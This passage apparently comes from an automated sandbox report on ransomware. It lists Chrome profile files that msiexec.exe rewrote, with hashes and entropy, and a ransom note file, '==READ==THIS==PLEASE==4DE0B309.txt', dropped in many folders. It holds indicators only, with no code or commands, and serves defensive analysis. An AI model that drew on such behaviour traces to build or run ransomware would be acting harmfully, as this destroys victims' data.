Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.717095375775666
Encrypted:	false
MD5:	2B1CBE148D707DACDFA7BBA754688211
SHA1:	8C724B293255885CAE257F1757C2E5DB629CF19E
SHA-256:	C269D9BCF0D01572A1B958E396E992A4AD25712F7D748B02D274ED591DDF71F8
SHA-512:	99321403AC4E00AC46DA3B0CE8E08F5BB10143CC3F13F3D16A10F462C3F4E3E1176E44CC26E5309B79E9CFD268E4BA51E3AB4CDA1611479ACC46422F997AE15F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\th\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\th\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6908186522573585
Encrypted:	false
MD5:	B9AA33AC5CE55E5700C61BD4579A50B3
SHA1:	1AF472B34F3BFEDC3D6A9715FFA8EB6FA8E4E43C
SHA-256:	62E5351FAF9ECB225D365C8EC50D35A5265D60709973CA23467B5E66F1D10F5A
SHA-512:	87AB139085F57C8547F87778C90E8637BC5EFC270706882BAFAD7A13B9BD172AA72DD82D597B4E6EAF427FD6F5BF1F8A9CD2118A15742F3F5405DF5670430AD1
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\tr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\tr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697409272926258
Encrypted:	false
MD5:	A155971764B2A318EF9606A658EC232C
SHA1:	17F9F18AD32320BE724519F3BFC3A3AACE4FBDDB
SHA-256:	38501CBAA299E46853E5F0E3E65B5036A58FEFB5069F7E05C69B8647F718F707
SHA-512:	2B73C04E75CED3D8DFCB1D9D16151D8FBD825D9B7D80B191A482A808DBC2D539C490F7E9FA3695BC7C5555804A179778EEC71C0106337729F4886498CD4DAE65
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\uk\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\uk\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.703603113081683
Encrypted:	false
MD5:	6CB021CF0D00B03037F7C0FAAD267A83
SHA1:	EB96CE2F68483877E646EEA7F713A647A091264B
SHA-256:	71F4D781CAD698D537BA03255326405538F7A759A1AD158D066E36160FAD7708
SHA-512:	28B2E6E017FFD28E7A4163D9E6DC988805813B28AD167CDA8A70E25CC1DF5BDD965A6487C51DB6F4734EE130C00AA5C40B7E7CADE2713A4FC0F985EF45B465B3
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\vi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\vi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.688916905187414
Encrypted:	false
MD5:	483281315AB681761D9A48D34E05B716
SHA1:	91F7A3C9E6C542F99DCB03A526992CAFAA453D16
SHA-256:	3D277B6AD94CEB41D8A3A79A82578E4731A78B10A255BE02CBFD372FBC41E9EC
SHA-512:	5531C5B4675EEEE52C0F4DBAE74FC8AE60DBA45B1C6D84D3212E19ABFEC3B8B6F25E02FDDDC90D3A52D38282D716C321D1807C871FF3D1A58AF2CA13BBA07E6A
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\zh_CN\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\zh_CN\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.690883182302125
Encrypted:	false
MD5:	6816E8B6892BE0519668CE20235CFF3A
SHA1:	49D97A096E471805529813C9734CFE7058712062
SHA-256:	B3C6507D71539ED3D0C289541DEB02CEF5B0364A8D94A95B2D9E124471878ADB
SHA-512:	455B986D71F0F2F5ABFEFDC6BE1F4357DD25B559C1155B5DA9DDD5B8ED992CAFB74E601EDA412E1840EEC30D4E9F6D908A8F082452E4522FA8B8FF991D0881B4
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\zh_TW\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\zh_TW\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.659714988668557
Encrypted:	false
MD5:	E98D55E092B951C92A8433535CAC8E15
SHA1:	5C28BC082A25DF665FAA14DE9CEC8224E06BD2F3
SHA-256:	24FF1DD72403F73A79FC0B7F0275ADDFE249DDCA7A77671CC9CA069DE4F73170
SHA-512:	8E8939B71C64EB6783EE5DC14BBA6A26485C14DDD128E043C01B46BB0163728EB319DBECA22FA995BEA0A046D1DB32BF5AB9CCBD3AD5BAD7DDF43DF6F8C326F6
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\manifest.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.685973261500671
Encrypted:	false
MD5:	0A689F4A25A0202CAFFC29A93026AB59
SHA1:	7EEDFCA3D893623C7DC3F657476B96FFD045556B
SHA-256:	0646B9791494F29665122B4152D4422A128D04156CE4E127466A5ED417882C83
SHA-512:	036ECFBA274E2ADC5F8658E57A6D458CEBF69D62B20E24F60332D3E5FDC9B0C10ECAA5AD599EB16F1D909E9C7D08FC4405348A7C8A0FD6D52D25A137735C6EC1
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.699843260159064
Encrypted:	false
MD5:	CA281FC47B821BB1A955B28E321D86A7
SHA1:	283B922A725511FF7C703AD2E025888A56EBE982
SHA-256:	D78F4E93DB332ABC1247C3A64D9DCFA344CB44BD026F839C3D9910B541C28A9E
SHA-512:	C00CFD407D992F50E844B00B25F50455DD8EA51AD8C45DBDFF85E10D180DC07F3E0BD780FEDD36D545ED41D8776C5A007DB52421B0CCD6AF8CBD184CDE6156DD
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682444222896102
Encrypted:	false
MD5:	B1E64C2117D6179C555C22EB2498E17D
SHA1:	887DACA45DABFA732ECE4A985DB88DC8F8C2AFBE
SHA-256:	D761648B3DDD738CE57E31CEFADA7BD70DD9DD1F1B5B6841C4555ED380E314B9
SHA-512:	F2F9632196477B6E63ABAF1E0D429B029228CFA583D6BA0E1D2993008B2DAF4AE3E543C80B968B62EFC464EDC71CA6F5B50320EBFC48925079C9543BA0217CFE
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.670473110907653
Encrypted:	false
MD5:	87807A477751811EFE1553EB2CEB80D4
SHA1:	64974508413465F539D72E408E5416E8D77E6BF0
SHA-256:	E8EB653F3C2BB5F71CE66C71CA2E96F7EE8954A3CACF84E9DDEF949DED04ADF9
SHA-512:	5FE016200DDCA3B50AD3C9DC833D364EFEB69A90A76E6455063FBECFE06B9F39B71A4F3C8AF08DD345B92E8B88CBAE8E3FFCEC3FCD42E488F633197882334C4D
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7328383098393925
Encrypted:	false
MD5:	31D16DF7BC3AA5A1D4B7F1A62183BC25
SHA1:	7C14B70B30A244F2A3E7487E880A33198CBFA8FB
SHA-256:	41D133D7B60F2EC604D05E09D9D11A6CA7767DF82701FADA0C14B84D0531DFB1
SHA-512:	6FACECE7544494D32D58DB3740859082C147E53F278937BC13E33C31F911018395262889807260D363E7EFCEE3E67317D5CF628478D57E8BF97056F509BE3627
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.707190028593325
Encrypted:	false
MD5:	C7D17D89853C9F81D2EB56D9B5FC8DA0
SHA1:	590C7371DEA65BE2F0E1C3869ECE0907A342108F
SHA-256:	268B93395D38B4C933A390D265DD22CC814C72F8D44EFE7616E9556E1650F80F
SHA-512:	EED16324F7A7C823EFF2FD2D986565F5379E7D903F09B01FAD92A63A8340112E14DD65A1EBA5A7D13A353C477B9C10EB5B3A26C506371EAC5FA54397E9EAEC50
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.672028371819096
Encrypted:	false
MD5:	B9BA8493BC7C59FE663E39AE512D99AB
SHA1:	0E693F71C2155C79B7795BB1562C43CB70913642
SHA-256:	1838F32A65D8C8E8B65D5218551F9CA3DCC6E3A00DFADBBA53AC6E12A5105606
SHA-512:	2EB42D9B9911CB4B06FEDF6D3301E53326AFE731F77E50852EFCA33B395300D3F80AED7F17FAFB8E64C5A718852AD399F33F5E97694D60ED412896E084FA9A4B
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.671742454286797
Encrypted:	false
MD5:	214BED66E0F71F5F9BB7A1EF5A69660F
SHA1:	75364BD6B35C151E509A349ED52416D8C90279ED
SHA-256:	A4D570726823BE6933AE576F993F506C811F86A7509F1052F9D321A9DC8C5AB2
SHA-512:	CB88E5A7CAB9EB27164BFBF2567C9654A79588D71C7B500D5F47DFBEA9406E66A648EE227E0457AB6F37071C665F7E6DF386FB5F8C478038AC126AC68187B611
Malicious:	true

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.678127786720255
Encrypted:	false
MD5:	24BA3A21A98938DD103E52D14E529E1F
SHA1:	8A1B90A2E4E6E2F8E3A34101348001F863103926
SHA-256:	9E72216C95B4443F928092D78026304CC32B196BD9E2BE6C4B2BCEFF5F3782EE
SHA-512:	3C08796C7E46417F9391A0EC545AFDB34851D5460B6FECFAF6C187F344C533B0F3E58180878F88423F41CCED2204E369AD191F78B7BCBD698BC024405426CD00
Malicious:	true

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.658634766849449
Encrypted:	false
MD5:	EA628006A0E86AEDCED03E70AD7E0899
SHA1:	AC0ECF491D0EA18DE43F4EE06E09D17882120F2D
SHA-256:	B6C7B8296715807C17AF135F1632B2718004AD5910EF3459C6C56F309233977C
SHA-512:	E4B98D60C4F5F7321F37BABDD7689B410403E38AB32D27D2827971E94F1FC3CAEA6B72A7E3E29C816EF66A2CFD8FD3E7F628F26AE4D6E211D031B69D6D99A8B6
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.715742711380528
Encrypted:	false
MD5:	C92E7FCA53844F7FC4EC04F34C4DCE5A
SHA1:	91B7B55CCECBBAB47DD15136F7EADCC6A52FEC26
SHA-256:	95E38F344B0ED9CF8BD529801D84AE9A206460F9E76D1BD74E18C31FF2D152F3
SHA-512:	720050E209AD9BFF54DCA64FD00FB5BC4B31945DAAEE76365012BF2C7769606B8A3FE5BDD8E017C53DAAF374E4A03AC2C78F1D66B0085EF7C6D65B8AC57A4699
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.727441634370784
Encrypted:	false
MD5:	976224E44FE4515C395101A469ED690D
SHA1:	9C9FE4D23C0A4A98E2246DC53B5C6BB852C29746
SHA-256:	6F2D5205E8BBF3ACB396F9509019E880BC03165748CD062F59478D65E1E72F3B
SHA-512:	2305F17A572DC37FB19EE185982BF11C9666BA4C47458FBF710AB9DF4C4D94AF14A79065558E694146C341E3DBBAC5F25150A37006F003E90A43F98F4C8AEF14
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\QuotaManager
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.676518610320301
Encrypted:	false
MD5:	42B415D49DAC2A203AA0A2FAD525E8A2
SHA1:	BBE3C3081D09B5CC3CA3DF6A790A9D7F5EAB38EE
SHA-256:	73342C6D5F68CEC9C4F60A19470B1D44491B1BEF11A506FC54CAE11008852AA2
SHA-512:	B4E0CC20DB97CC0F19A4FA43FCD1B65DD1F3165957FF38D460E3636B16F239126150D2DE216A69F270DC7B088E7E8946CFC98471722EA97558DBC2283453C034
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\QuotaManager-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.698395069491096
Encrypted:	false
MD5:	1A02C415182985ECF9CBDE336AA91588
SHA1:	99200C77F9681B6B5E3755BD44E7A4FCD08299CE
SHA-256:	880F75DA40062C27F7A7EBBA8987183CF4D2D1CB3862F31E9063CBA4A5868F8C
SHA-512:	EA5C5755289392F82998ADA39E791090363BD432A38B94FB111ED12466D8D70E905F368DAB15FA43AD8B5BD1DB0429E14C5AE93E662605D4613BE5D36282E327
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.677573981893363
Encrypted:	false
MD5:	BCF1F4F10784C3D7B5F51E627C908E1A
SHA1:	46A52FB994D40F8C16CC5E6FDA34B3A7B47BB9BB
SHA-256:	F003A4E0920CE0638B92A0AAD4F34DD947A0312E368DFE4C9CE58A8453B16F2F
SHA-512:	DBB7B7BD4B2ECC8C18CC12A4892790395E0FF247F06FFB5B4A51A001BB3D09266C0599E07CA6B4FF4A6BA767F16E93D49BD8364EF3AE9DDCF8D46689D90F93CC
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Shortcuts
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.671676587119302
Encrypted:	false
MD5:	6B73183089EF6FFC6B97A012D0D243F4
SHA1:	C1CC83898BB8AE16CC97D95B000549F6C62771F2
SHA-256:	1424C62B024352B6D165E76990C3BFFF681117FAE08F5BF3DD204B88C05C409C
SHA-512:	3E626CAD906718D8A85EDFA021DEFF12D64D7933225254F34AF854F17E02C829B4114746AB8E8E267AB49746B57A4C019620991E8B578E1798E70327328D3FF9
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Shortcuts-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697676653065176
Encrypted:	false
MD5:	C5CDC4CCED4FC11FE939718E10818062
SHA1:	5DB3BD927E848DFFB5A1C0E2DCA5BF003A3BD134
SHA-256:	C06701CAB57FD77F4E1A86131278702567C91DD6C64D90F4DFE692C127442D82
SHA-512:	9C1930BDB46ED140CE727DCB58250A70D1F19F385E750805994E64BBEE5F160C89354A4081CFFD0F5C3AD30BEFA1DB8478666C7236984F4E922D2E346F6F02F3
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\chrome-signin\def\GPUCache\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\chrome-signin\def\GPUCache\data_0
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7008324242795885
Encrypted:	false
MD5:	153B81646E4092A07044CE6464B99A1B
SHA1:	B788EB29ABC985AE1C01C0CA9CB7EBB5BAECFA59
SHA-256:	FBD7C5FFE562139C4C6AB28D874DBE902367564A4DF5945B20A468ABCA54B00F
SHA-512:	AD4D509C12273BCB9AF10FD5431B56ADE7B0496CA38804E18A2B87D9915B15ECE7C28FA26CB52D67F125DC36352E02E681170AF0FBA30C526CE866CF206AEE71
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\chrome-signin\def\GPUCache\data_1
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6450972722376225
Encrypted:	false
MD5:	66861CD3020AABA1C65BDEA6F28522AA
SHA1:	F3DD28BECD0FCBCDD9AFD33CDF618079757EED28
SHA-256:	800AF6EBA1F1028433A68DA6A84FA6F73BB6A3150648A2F3BEEC9CA804A2DF09
SHA-512:	FF718BE157F725F824F035B20ADE7576CB3EB56EAF67EBD03D7170AFC6E476A94874E1C8511570928F1FDBC24437CDFD198EFBE5EF9DF6470E194E4C195A4623
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\chrome-signin\def\GPUCache\data_2
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701994190259576
Encrypted:	false
MD5:	C3F1D0FF0F168E00C2AE185D2204C065
SHA1:	5DA93C98C36AD6C5E239BC19B4B7B828AFF26599
SHA-256:	2ED74BD385837218870270877228EB8AF6E6285D52FCF89B168024478DC48087
SHA-512:	89695EB04B52BEA057775373008AA54CF76013CE936E5A36F2235A441E63ABEB955E7FDE8DF69F6BFADB4016ABA59A7BF126A717F301B0456AEFB67EBC4ED6A7
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\chrome-signin\def\GPUCache\data_3
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.629488696804702
Encrypted:	false
MD5:	A5BA4EFBEF1E0CD6C4C4D4FA390D3B30
SHA1:	18402E49D1E11E51A6F50BAE7923EA5DEA41BC56
SHA-256:	5ED41D98CA25727C1DF69D779121B0E6EBD71572B0AA904E042345BC156060DA
SHA-512:	ECD0DFB4CB5C7434835C22169756F74066121D256E9156CF04179C6E9DE33D5CB940B10439D5EF9026068A9BFEEC1212441207CD9FC4B04031E61F2334E09501
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\chrome-signin\def\GPUCache\index
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7147968481922495
Encrypted:	false
MD5:	81B1A1B7A05A7404D302F46928199F95
SHA1:	4BE48FA009BA659F16BF7280C391CB89A08027DE
SHA-256:	1D1B636775C90D6AF0CB14D1C52C018007B3B0D29922AB6AEC1C04764078CEBD
SHA-512:	D350FE4A7F8A508302684983EFC89C667D925F11B8D6BE7BC5D01CACE81F84F20C22E08EE54147C0F275BF6931187D06CBB40A743B4C7B3318F1B2B271E621D4
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.678822943600704
Encrypted:	false
MD5:	9F03C1ED2BAC8C4DE2CC48A6C0A2B895
SHA1:	ACFD2EA65E7F22B687A5EEF40F173BD5D69B8BC0
SHA-256:	57D0CF13B18B961FC3146ECC82CDA77395E294F4D62BBEC6403D0309B259D996
SHA-512:	99C350EB9FB697C766D28A643AC30F89358AC4806018348F1534FE6E1194FE95235AAEECB1F3241AFF8D2114E6EB0D1555F65EA47BF61E53DF2AB9665157F654
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.743581348947979
Encrypted:	false
MD5:	E4EC0C17DFCA0D697CE3CD168DB66D2B
SHA1:	6AF19647BB4C47EA6CDBD9F40696E8F53A8B95F4
SHA-256:	FCDF1EED8C690D82D47CC64D20029216BA921429AECDAD21BCBF49593EE444F0
SHA-512:	44802B96CCDEC48B09261323E4C551EF0A6CC247C13A23F69578D022088F2C79ABBE216EE76DA34E0CC3D9DECAB7AA23D6EF9DAC67FF22E90B523C5E5CC624F0
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Visited Links
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.752544794360611
Encrypted:	false
MD5:	DF46D9CDA78FD655F7A34A7A6AE3EB00
SHA1:	5C7271C88D39BC8DAF9949F2C289E70623BE7DAD
SHA-256:	6EC8E1A9BB9CC244E6AA9FEDAA784ED585D81FF1AAFC7EC895FE63CBAF6253B4
SHA-512:	A4F1E494001A9E48D329F4BA08D83836F6E1481BCF7A2BC953A5740430C6CD6BE4B951DBE7DE80DF6D1E4AE94F7D1190BD186443BEC32296877ACC4F4D727C26
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.667113406054193
Encrypted:	false
MD5:	8D950573B9795D9BCCA2CC5541DC76DD
SHA1:	6522C9112400BD488E986C5B55780EF0CD66A7B4
SHA-256:	6C7C1F83E9BB933B916CC488F1A1EF7DA6D1070DB896FF8070290A3271CD6613
SHA-512:	BC4AE590351F51D4703BD5D3F2917E53365D72173299B7AA5CF586274DA501E853C67FD5A18AD479DF401D9BFC641CC9A5F42BCB6192D6EBAC2C2E4EDED93373
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.652082049124148
Encrypted:	false
MD5:	B3C46F0E889D05E2735E759878D8A884
SHA1:	B41E929D799E193C5FFFE221BE66883744ED932F
SHA-256:	DBA22E5EA417C728FEEB0E6939A6E90AC904330E08BC4A6B76824CA1B760E7AB
SHA-512:	F867A35E3E3772B04BE24ABCABDB8681E0781069505BF4ED80B1A6ABC6869B3506759EFFA14E173B9035E83A151E51DCDBE606221C9417A02165E402D27B3E95
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.693573427961898
Encrypted:	false
MD5:	5B2713F931C349A67708F923E7447B30
SHA1:	54893841CBE2959C976565697192B0BF60292F30
SHA-256:	34835369207B72B5906A02CAD390940C165DC593219CB3E51C749389A2F87975
SHA-512:	961C0C29EEBBB311455F500AD4D4188C827200E9EFF43E88BCFB48B5AE2F6F4A9FD5A27C543CA7BE447CA69D112DC45CBC69DB303AD266E7BF99C664D6C27C79
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db-journal
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6829655949248545
Encrypted:	false
MD5:	2682BA7F641FF218892FA00698C13CF3
